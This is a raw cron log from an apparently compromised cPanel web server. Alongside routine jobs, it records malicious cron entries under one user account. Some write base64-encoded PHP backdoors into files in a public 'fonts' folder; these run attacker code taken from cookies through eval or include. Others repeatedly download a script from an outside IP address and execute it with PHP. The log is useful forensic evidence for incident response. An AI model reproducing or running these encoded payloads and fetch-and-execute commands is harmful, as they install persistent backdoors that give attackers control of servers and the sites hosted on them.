Sep  1 15:27:01 ip-184-168-122-23 CROND[14663]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 15:28:01 ip-184-168-122-23 CROND[14753]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 15:28:01 ip-184-168-122-23 CROND[14756]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 15:28:01 ip-184-168-122-23 CROND[14755]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 15:28:01 ip-184-168-122-23 CROND[14757]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 15:28:01 ip-184-168-122-23 CROND[14758]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 15:29:01 ip-184-168-122-23 CROND[14874]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 15:29:01 ip-184-168-122-23 CROND[14876]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 15:29:01 ip-184-168-122-23 CROND[14877]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 15:29:01 ip-184-168-122-23 CROND[14878]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 15:30:01 ip-184-168-122-23 CROND[15073]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 15:30:01 ip-184-168-122-23 CROND[15074]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 15:30:01 ip-184-168-122-23 CROND[15081]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 15:30:01 ip-184-168-122-23 CROND[15079]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 15:30:01 ip-184-168-122-23 CROND[15083]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 15:30:01 ip-184-168-122-23 CROND[15080]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 15:30:01 ip-184-168-122-23 CROND[15084]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 15:30:01 ip-184-168-122-23 CROND[15082]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 15:31:01 ip-184-168-122-23 CROND[15179]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 15:31:01 ip-184-168-122-23 CROND[15181]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 15:31:01 ip-184-168-122-23 CROND[15182]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 15:31:01 ip-184-168-122-23 CROND[15184]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 15:31:01 ip-184-168-122-23 CROND[15183]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 15:32:01 ip-184-168-122-23 CROND[15262]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 15:32:01 ip-184-168-122-23 CROND[15264]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 15:32:01 ip-184-168-122-23 CROND[15265]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 15:32:01 ip-184-168-122-23 CROND[15267]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 15:32:01 ip-184-168-122-23 CROND[15268]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 15:33:01 ip-184-168-122-23 CROND[15352]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 15:33:01 ip-184-168-122-23 CROND[15355]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 15:33:01 ip-184-168-122-23 CROND[15357]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 15:33:01 ip-184-168-122-23 CROND[15356]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 15:34:01 ip-184-168-122-23 CROND[15433]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 15:34:01 ip-184-168-122-23 CROND[15435]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 15:34:01 ip-184-168-122-23 CROND[15437]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 15:34:01 ip-184-168-122-23 CROND[15438]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 15:34:01 ip-184-168-122-23 CROND[15436]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 15:35:01 ip-184-168-122-23 CROND[15540]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 15:35:01 ip-184-168-122-23 CROND[15542]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  1 15:35:01 ip-184-168-122-23 CROND[15543]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 15:35:01 ip-184-168-122-23 CROND[15545]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 15:35:01 ip-184-168-122-23 CROND[15546]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 15:35:01 ip-184-168-122-23 CROND[15549]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 15:35:01 ip-184-168-122-23 CROND[15547]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 15:35:01 ip-184-168-122-23 CROND[15551]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 15:36:01 ip-184-168-122-23 CROND[15658]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 15:36:01 ip-184-168-122-23 CROND[15660]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 15:36:01 ip-184-168-122-23 CROND[15662]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 15:36:01 ip-184-168-122-23 CROND[15664]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 15:36:01 ip-184-168-122-23 CROND[15666]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 15:37:01 ip-184-168-122-23 CROND[15791]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 15:37:01 ip-184-168-122-23 CROND[15794]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 15:37:01 ip-184-168-122-23 CROND[15792]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 15:37:01 ip-184-168-122-23 CROND[15793]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 15:38:01 ip-184-168-122-23 CROND[15961]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 15:38:01 ip-184-168-122-23 CROND[15963]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 15:38:01 ip-184-168-122-23 CROND[15964]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 15:38:01 ip-184-168-122-23 CROND[15965]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 15:38:01 ip-184-168-122-23 CROND[15966]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 15:39:01 ip-184-168-122-23 CROND[16074]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 15:39:01 ip-184-168-122-23 CROND[16076]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 15:39:01 ip-184-168-122-23 CROND[16073]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  1 15:39:01 ip-184-168-122-23 CROND[16077]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
